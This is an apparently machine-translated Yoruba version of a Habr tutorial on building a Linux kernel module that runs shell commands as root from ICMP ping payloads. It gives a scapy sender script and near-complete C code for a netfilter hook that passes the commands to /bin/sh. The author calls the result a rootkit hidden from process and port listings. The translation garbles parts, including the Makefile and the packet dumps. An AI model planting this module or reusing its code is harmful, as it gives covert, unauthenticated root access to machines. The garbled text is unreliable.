TL; DR: Mo n kọ module ekuro kan ti yoo ka awọn aṣẹ lati inu isanwo ICMP ati ṣiṣe wọn lori olupin paapaa ti SSH rẹ ba kọlu. Fun awọn julọ ikanju, gbogbo awọn koodu ti wa ni .
Išọra! Àwọn olùṣètò C tó ní ìrírí lè máa sun omijé ẹ̀jẹ̀! Mo lè ṣàṣìṣe kódà nínú ọ̀rọ̀ náà, ṣùgbọ́n gbogbo àríwísí ni a gbà. Àwọn tí kò mọ̀ nípa ètò C nìkan ni wọ́n ń kọ ìwé yìí, tí wọ́n sì fẹ́ wo inú rẹ̀. Linux.
Ninu awọn asọye si akọkọ mi mẹnuba SoftEther VPN, eyiti o le farawe diẹ ninu awọn ilana “deede”, ni pataki HTTPS, ICMP ati paapaa DNS. Mo le foju inu wo nikan ni akọkọ ti wọn n ṣiṣẹ, nitori Mo mọ HTTP (S) pupọ, ati pe Mo ni lati kọ ẹkọ tunneling lori ICMP ati DNS.

Bẹ́ẹ̀ni, mo kọ́ ní ọdún 2020 pé o lè fi àwọn ẹrù ìsanwó láìròtẹ́lẹ̀ sínú àwọn pákẹ́ẹ̀tì ICMP. Ṣùgbọ́n ó sàn kí ó pẹ́ ju kí ó pẹ́ lọ! Tí a bá sì lè ṣe nǹkan kan nípa rẹ̀, a gbọ́dọ̀ ṣe é. Níwọ́n ìgbà tí mo ti máa ń lo ìlà àṣẹ nínú iṣẹ́ ojoojúmọ́ mi, títí kan nípasẹ̀ SSH, èrò ìkarahun ICMP ni ohun àkọ́kọ́ tó wá sí ọkàn mi. Àti láti kọ́ bíńgò bullshield pípé, mo pinnu láti kọ ọ́ gẹ́gẹ́ bí module. Linux Nínú èdè tí mo ní òye díẹ̀. Irú ikarahun bẹ́ẹ̀ kò ní hàn nínú àkójọ ìlànà, a lè kó o sínú kernel kò sì ní gbé lórí fáìlì system, o kò sì ní rí ohunkóhun tó ń fura sí nínú àkójọ àwọn ibùdó ìgbọ́rọ̀. Ó jẹ́ rootkit tó kún fún agbára rẹ̀, ṣùgbọ́n mo nírètí láti tún un ṣe kí n sì lò ó gẹ́gẹ́ bí ikarahun ìgbẹ̀yìn tí Load Average bá ga jù láti wọlé nípasẹ̀ SSH kí n sì ṣe àwọn iṣẹ́ pàtàkì pàápàá. echo i > /proc/sysrq-triggerlati mu pada wiwọle lai atunbere.
A ya a ọrọ olootu, ipilẹ siseto ogbon ni Python ati C, Google ati eyiti o ko ni lokan fifi labẹ ọbẹ ti ohun gbogbo ba fọ (aṣayan - agbegbe VirtualBox / KVM / ati bẹbẹ lọ) ati jẹ ki a lọ!
Apa onibara
O dabi fun mi pe fun apakan alabara Emi yoo ni lati kọ iwe afọwọkọ kan pẹlu awọn laini 80, ṣugbọn awọn eniyan oninuure wa ti wọn ṣe fun mi. . Koodu naa yipada lati rọrun lairotẹlẹ, ni ibamu si awọn laini pataki 10:
import sys
from scapy.all import sr1, IP, ICMP
if len(sys.argv) < 3:
print('Usage: {} IP "command"'.format(sys.argv[0]))
exit(0)
p = sr1(IP(dst=sys.argv[1])/ICMP()/"run:{}".format(sys.argv[2]))
if p:
p.show() Iwe afọwọkọ naa gba awọn ariyanjiyan meji, adirẹsi ati fifuye isanwo kan. Ṣaaju fifiranṣẹ, fifuye isanwo jẹ ṣaju nipasẹ bọtini kan run:, a yoo nilo rẹ lati yọkuro awọn idii pẹlu awọn ẹru isanwo laileto.
Kernel náà nílò àǹfààní láti ṣe àwọn packets, nítorí náà, a gbọ́dọ̀ lo script náà gẹ́gẹ́ bí root. Má ṣe gbàgbé láti fún ni àṣẹ láti ṣiṣẹ́ kí o sì fi scapy fúnrarẹ̀ sílẹ̀. Debian Àpò kan wà tí a ń pè ní package kan python3-scapy. Bayi o le ṣayẹwo bi gbogbo rẹ ṣe n ṣiṣẹ.
Ṣiṣe ati ṣiṣejade aṣẹ naa
morq@laptop:~/icmpshell$ sudo ./send.py 45.11.26.232 "Hello, world!"
Begin emission:
.Finished sending 1 packets.
*
Received 2 packets, got 1 answers, remaining 0 packets
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 45
id = 17218
flags =
frag = 0
ttl = 58
proto = icmp
chksum = 0x3403
src = 45.11.26.232
dst = 192.168.0.240
options
###[ ICMP ]###
type = echo-reply
code = 0
chksum = 0xde03
id = 0x0
seq = 0x0
###[ Raw ]###
load = 'run:Hello, world!
Eyi ni ohun ti o dabi ninu sniffer
morq@laptop:~/icmpshell$ sudo tshark -i wlp1s0 -O icmp -f "icmp and host 45.11.26.232"
Running as user "root" and group "root". This could be dangerous.
Capturing on 'wlp1s0'
Frame 1: 59 bytes on wire (472 bits), 59 bytes captured (472 bits) on interface wlp1s0, id 0
Internet Protocol Version 4, Src: 192.168.0.240, Dst: 45.11.26.232
Internet Control Message Protocol
Type: 8 (Echo (ping) request)
Code: 0
Checksum: 0xd603 [correct]
[Checksum Status: Good]
Identifier (BE): 0 (0x0000)
Identifier (LE): 0 (0x0000)
Sequence number (BE): 0 (0x0000)
Sequence number (LE): 0 (0x0000)
Data (17 bytes)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 sure: Hello, aye
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Ipari: 17]
fireemu 2: 59 baiti lori waya (472 die-die), 59 baiti sile (472 bits) ni wiwo wlp1s0, id 0
Ẹya Ilana Ayelujara 4, Src: 45.11.26.232, Dst: 192.168.0.240
Ayelujara Iṣakoso Ifiranṣẹ Ilana
Iru: 0 (Echo (ping) esi)
Àti: 0
Àpapọ̀ ìṣàyẹ̀wò: 0xde03 [tọ́]
[Ipo Ṣayẹwo: O dara]
Olùdámọ̀ (BE): 0 (0x0000)
Idanimọ (LE): 0 (0x0000)
Nọmba ọkọọkan (BE): 0 (0x0000)
Nọmba ọkọọkan (LE): 0 (0x0000)
[Férémù ìbéèrè: 1]
[Àkókò ìdáhùn: 19.094 ms]
Dátà (17 baiti)
0000 72 75 6e 3a 48 65 6c 6c 6f 2c 20 77 6f 72 6c 64 sure: Hello, aye
0010 21 !
Data: 72756e3a48656c6c6f2c20776f726c6421
[Ipari: 17]
^C2 awọn idii
Isanwo ti o wa ninu package idahun ko yipada.
Ekuro module
Lati kọ sinu ẹrọ foju kan pẹlu Debian yoo nilo o kere ju make и linux-headers-amd64, awọn iyokù yoo wa ni awọn fọọmu ti dependencies. Emi kii yoo pese gbogbo koodu ninu nkan naa o le ṣe oniye lori Github.
Kio iṣeto ni
Lati bẹrẹ pẹlu, a nilo meji awọn iṣẹ ni ibere lati fifuye awọn module ati lati unload o. Awọn iṣẹ fun unloading ni ko ti beere, sugbon ki o si rmmod o yoo ko sise;
#include <linux/module.h>
#include <linux/netfilter_ipv4.h>
static struct nf_hook_ops nfho;
static int __init startup(void)
{
nfho.hook = icmp_cmd_executor;
nfho.hooknum = NF_INET_PRE_ROUTING;
nfho.pf = PF_INET;
nfho.priority = NF_IP_PRI_FIRST;
nf_register_net_hook(&init_net, &nfho);
return 0;
}
static void __exit cleanup(void)
{
nf_unregister_net_hook(&init_net, &nfho);
}
MODULE_LICENSE("GPL");
module_init(startup);
module_exit(cleanup);Kini n ṣẹlẹ nibi:
- Awọn faili akọsori meji ni a fa sinu lati ṣe afọwọyi module funrararẹ ati netfilter.
- Gbogbo awọn iṣẹ ṣiṣe lọ nipasẹ netfilter, o le ṣeto awọn kio ninu rẹ. Lati ṣe eyi, o nilo lati sọ eto ninu eyiti kio yoo wa ni tunto. Ohun pataki julọ ni lati pato iṣẹ ti yoo ṣe bi kio kan:
nfho.hook = icmp_cmd_executor;Emi yoo gba iṣẹ naa funrararẹ nigbamii.
Lẹhinna Mo ṣeto akoko sisẹ fun package:NF_INET_PRE_ROUTINGni pato lati ṣe ilana package nigbati akọkọ ba han ninu ekuro. Le ṣee loNF_INET_POST_ROUTINGlati ṣe ilana apo-iwe naa bi o ti jade kuro ninu ekuro.
Mo ṣeto àlẹmọ si IPv4:nfho.pf = PF_INET;.
Mo fun kio mi ni pataki julọ:nfho.priority = NF_IP_PRI_FIRST;
Ati pe Mo forukọsilẹ eto data bi kio gangan:nf_register_net_hook(&init_net, &nfho); - Ik iṣẹ yọ awọn kio.
- Iwe-aṣẹ naa jẹ itọkasi kedere ki olupilẹṣẹ ko ni kerora.
- Awọn iṣẹ
module_init()иmodule_exit()ṣeto awọn iṣẹ miiran lati bẹrẹ ati fopin si module.
Gbigba owo sisan pada
Bayi a nilo lati yọ owo sisan kuro, eyi ti jade lati jẹ iṣẹ ti o nira julọ. Ekuro naa ko ni awọn iṣẹ ti a ṣe sinu rẹ fun ṣiṣẹ pẹlu awọn ẹru isanwo;
#include <linux/ip.h>
#include <linux/icmp.h>
#define MAX_CMD_LEN 1976
char cmd_string[MAX_CMD_LEN];
struct work_struct my_work;
DECLARE_WORK(my_work, work_handler);
static unsigned int icmp_cmd_executor(void *priv, struct sk_buff *skb, const struct nf_hook_state *state)
{
struct iphdr *iph;
struct icmphdr *icmph;
unsigned char *user_data;
unsigned char *tail;
unsigned char *i;
int j = 0;
iph = ip_hdr(skb);
icmph = icmp_hdr(skb);
if (iph->protocol != IPPROTO_ICMP) {
return NF_ACCEPT;
}
if (icmph->type != ICMP_ECHO) {
return NF_ACCEPT;
}
user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
tail = skb_tail_pointer(skb);
j = 0;
for (i = user_data; i != tail; ++i) {
char c = *(char *)i;
cmd_string[j] = c;
j++;
if (c == ' ')
break;
if (j == MAX_CMD_LEN) {
cmd_string[j] = ' ';
break;
}
}
if (strncmp(cmd_string, "run:", 4) != 0) {
return NF_ACCEPT;
} else {
for (j = 0; j <= sizeof(cmd_string)/sizeof(cmd_string[0])-4; j++) {
cmd_string[j] = cmd_string[j+4];
if (cmd_string[j] == ' ')
break;
}
}
schedule_work(&my_work);
return NF_ACCEPT;
}Kilo n ṣẹlẹ:
- Mo ni lati ni afikun awọn faili akọsori, ni akoko yii lati ṣe afọwọyi IP ati awọn akọle ICMP.
- Mo ṣeto ipari ila ti o pọju:
#define MAX_CMD_LEN 1976. Kini idi gangan eyi? Nitori awọn alakojo kerora nipa o! Wọn ti daba fun mi tẹlẹ pe Mo nilo lati ni oye akopọ ati okiti, ni ọjọ kan Emi yoo dajudaju ṣe eyi ati boya paapaa ṣe atunṣe koodu naa. Mo ṣeto laini lẹsẹkẹsẹ ti yoo ni aṣẹ naa:char cmd_string[MAX_CMD_LEN];. O yẹ ki o han ni gbogbo awọn iṣẹ; - Bayi a nilo lati bẹrẹ (
struct work_struct my_work;) eto ati sopọ pẹlu iṣẹ miiran (DECLARE_WORK(my_work, work_handler);). Emi yoo tun sọrọ nipa idi ti eyi ṣe pataki ni paragirafi kẹsan. - Bayi Mo kede iṣẹ kan, eyiti yoo jẹ kio kan. Iru ati awọn ariyanjiyan ti o gba ni aṣẹ nipasẹ netfilter, a nifẹ si nikan
skb. Eyi jẹ ifipamọ iho, ipilẹ data ipilẹ ti o ni gbogbo alaye ti o wa nipa soso kan ninu. - Fun iṣẹ naa lati ṣiṣẹ, iwọ yoo nilo awọn ẹya meji ati ọpọlọpọ awọn oniyipada, pẹlu awọn iterators meji.
struct iphdr *iph; struct icmphdr *icmph; unsigned char *user_data; unsigned char *tail; unsigned char *i; int j = 0; - A le bẹrẹ pẹlu ọgbọn. Fun module naa lati ṣiṣẹ, ko si awọn apo-iwe miiran ju ICMP Echo ni a nilo, nitorinaa a ṣe itupalẹ ifipamọ nipa lilo awọn iṣẹ ti a ṣe sinu ati jabọ gbogbo awọn apo-iwe ti kii ṣe ICMP ati ti kii-Echo. Pada
NF_ACCEPTtumo si gbigba ti awọn package, sugbon o tun le ju silẹ jo nipa a padaNF_DROP.iph = ip_hdr(skb); icmph = icmp_hdr(skb); if (iph->protocol != IPPROTO_ICMP) { return NF_ACCEPT; } if (icmph->type != ICMP_ECHO) { return NF_ACCEPT; }Emi ko ṣe idanwo ohun ti yoo ṣẹlẹ laisi ṣayẹwo awọn akọle IP. Imọ kekere mi ti C sọ fun mi pe laisi awọn sọwedowo afikun, nkan ti o buruju yoo ṣẹlẹ. Inu mi yoo dun ti o ba yi mi pada si eyi!
- Bayi wipe package jẹ ti awọn gangan iru ti o nilo, o le jade awọn data. Laisi iṣẹ ti a ṣe sinu, o ni akọkọ lati gba itọka si ibẹrẹ ti fifuye isanwo naa. Eyi ni a ṣe ni aaye kan, o nilo lati mu itọka si ibẹrẹ ti akọsori ICMP ki o gbe lọ si iwọn ti akọsori yii. Ohun gbogbo nlo ilana
icmph:user_data = (unsigned char *)((unsigned char *)icmph + (sizeof(icmph)));
Ipari akọsori gbọdọ baramu opin fifuye isanwo niskb, nitorinaa a gba ni lilo awọn ọna iparun lati eto ti o baamu:tail = skb_tail_pointer(skb);.
A ti ji aworan naa , o le ka diẹ ẹ sii nipa ifipamọ iho. - Ni kete ti o ba ni awọn itọka si ibẹrẹ ati ipari, o le daakọ data naa sinu okun kan
cmd_string, ṣayẹwo fun wiwa ìpele kanrun:ati, boya danu package ti o ba ti sonu, tabi tun ila lẹẹkansi, yọ yi ìpele. - Iyẹn ni, ni bayi o le pe olutọju miiran:
schedule_work(&my_work);. Niwọn igba ti ko ṣee ṣe lati kọja paramita kan si iru ipe kan, laini pẹlu aṣẹ gbọdọ jẹ agbaye.schedule_work()yoo gbe iṣẹ ti o ni nkan ṣe pẹlu eto ti o kọja sinu isinyi gbogbogbo ti oluṣeto iṣẹ ati pari, gbigba ọ laaye lati ma duro fun aṣẹ lati pari. Eyi jẹ pataki nitori kio gbọdọ yara pupọ. Bibẹẹkọ, yiyan rẹ ni pe ko si ohun ti yoo bẹrẹ tabi iwọ yoo gba ijaaya kernel. Idaduro dabi iku! - Iyẹn ni, o le gba package pẹlu ipadabọ ti o baamu.
Npe eto ni aaye olumulo
Iṣẹ yii jẹ oye julọ. Orukọ rẹ ni a fun ni DECLARE_WORK(), Iru ati awọn ariyanjiyan ti o gba ko ni igbadun. A gba ila pẹlu aṣẹ naa ki o kọja patapata si ikarahun naa. Jẹ ki o ṣe pẹlu sisọtọ, wiwa awọn alakomeji ati ohun gbogbo miiran.
static void work_handler(struct work_struct * work)
{
static char *argv[] = {"/bin/sh", "-c", cmd_string, NULL};
static char *envp[] = {"PATH=/bin:/sbin", NULL};
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_PROC);
}- Ṣeto awọn ariyanjiyan si akojọpọ awọn okun
argv[]. Emi yoo ro pe gbogbo eniyan mọ pe awọn eto ni a ṣe ni ọna yii, kii ṣe bi laini ilọsiwaju pẹlu awọn aye. - Ṣeto awọn oniyipada ayika. Mo fi sii PATH nikan pẹlu eto ti o kere ju ti awọn ọna, nireti pe gbogbo wọn ti ni idapo tẹlẹ
/binс/usr/binи/sbinс/usr/sbin. Awọn ọna miiran kii ṣe pataki ni iṣe. - Ti pari, jẹ ki a ṣe! Ekuro iṣẹ
call_usermodehelper()gba titẹsi. ona si alakomeji, orun ti ariyanjiyan, orun ti ayika oniyipada. Nibi Mo tun ro pe gbogbo eniyan loye itumọ ti gbigbe ọna si faili ti o ṣiṣẹ bi ariyanjiyan lọtọ, ṣugbọn o le beere. Awọn ariyanjiyan ti o kẹhin sọ boya lati duro fun ilana lati pari (UMH_WAIT_PROCIbẹrẹ ilana (UMH_WAIT_EXEC) tabi ko duro rara (UMH_NO_WAIT). Njẹ diẹ sii waUMH_KILLABLE, Emi ko wo inu rẹ.
Apejọ
Apejọ ti awọn modulu ekuro ni a ṣe nipasẹ ilana ṣiṣe-ekuro. Ti a npe ni make inu itọsọna pataki kan ti a so si ẹya ekuro (ti a ṣalaye nibi: KERNELDIR:=/lib/modules/$(shell uname -r)/build), ati awọn ipo ti awọn module ti wa ni koja si awọn oniyipada M ninu awọn ariyanjiyan. Awọn icmpshell.ko ati awọn ibi-afẹde mimọ lo ilana yii patapata. IN obj-m tọkasi faili ohun ti yoo yipada sinu module. Sintasi ti o tun ṣe main.o в icmpshell.o (icmpshell-objs = main.o) ko dabi ọgbọn pupọ si mi, ṣugbọn bẹ bẹ.
KERNELDIR:=/lib/modules/$(shell uname -r)/build
obj-m = icmpshell.o
icmpshell-objs = akọkọ.o
gbogbo: icmpshell.ko
icmpshell.ko: main.c
ṣe -C $ (KERNELDIR) M = $ (PWD) modulu
mọ:
ṣe -C $ (KERNELDIR) M = $ (PWD) mọ
A gba: make. Nkojọpọ: insmod icmpshell.ko. Ti pari, o le ṣayẹwo: sudo ./send.py 45.11.26.232 "date > /tmp/test". Ti o ba ni faili lori ẹrọ rẹ /tmp/test ati pe o ni ọjọ ti o ti firanṣẹ ibeere naa, eyiti o tumọ si pe o ṣe ohun gbogbo ti o tọ ati pe Mo ṣe ohun gbogbo daradara.
ipari
Iriri akọkọ mi pẹlu idagbasoke iparun jẹ rọrun pupọ ju Mo nireti lọ. Paapaa laisi iriri ti o ndagbasoke ni C, ni idojukọ lori awọn imọran alakojọ ati awọn abajade Google, Mo ni anfani lati kọ module iṣẹ kan ati rilara bi agbonaeburuwole kernel, ati ni akoko kanna ọmọ iwe afọwọkọ kan. Ni afikun, Mo lọ si ikanni Kernel Newbies, nibiti a ti sọ fun mi lati lo schedule_work() dipo pipe call_usermodehelper() inu awọn kio ara ati itiju rẹ, ti tọ suspecting a itanjẹ. Awọn laini koodu ọgọọgọrun jẹ idiyele mi nipa ọsẹ kan ti idagbasoke ni akoko ọfẹ mi. Iriri aṣeyọri ti o pa arosọ ti ara ẹni jẹ nipa idiju nla ti idagbasoke eto.
Ti ẹnikan ba gba lati ṣe atunyẹwo koodu lori Github, Emi yoo dupẹ. Mo ni idaniloju pe Mo ṣe ọpọlọpọ awọn aṣiṣe aṣiwere, paapaa nigbati o ba n ṣiṣẹ pẹlu awọn okun.
orisun: www.habr.com

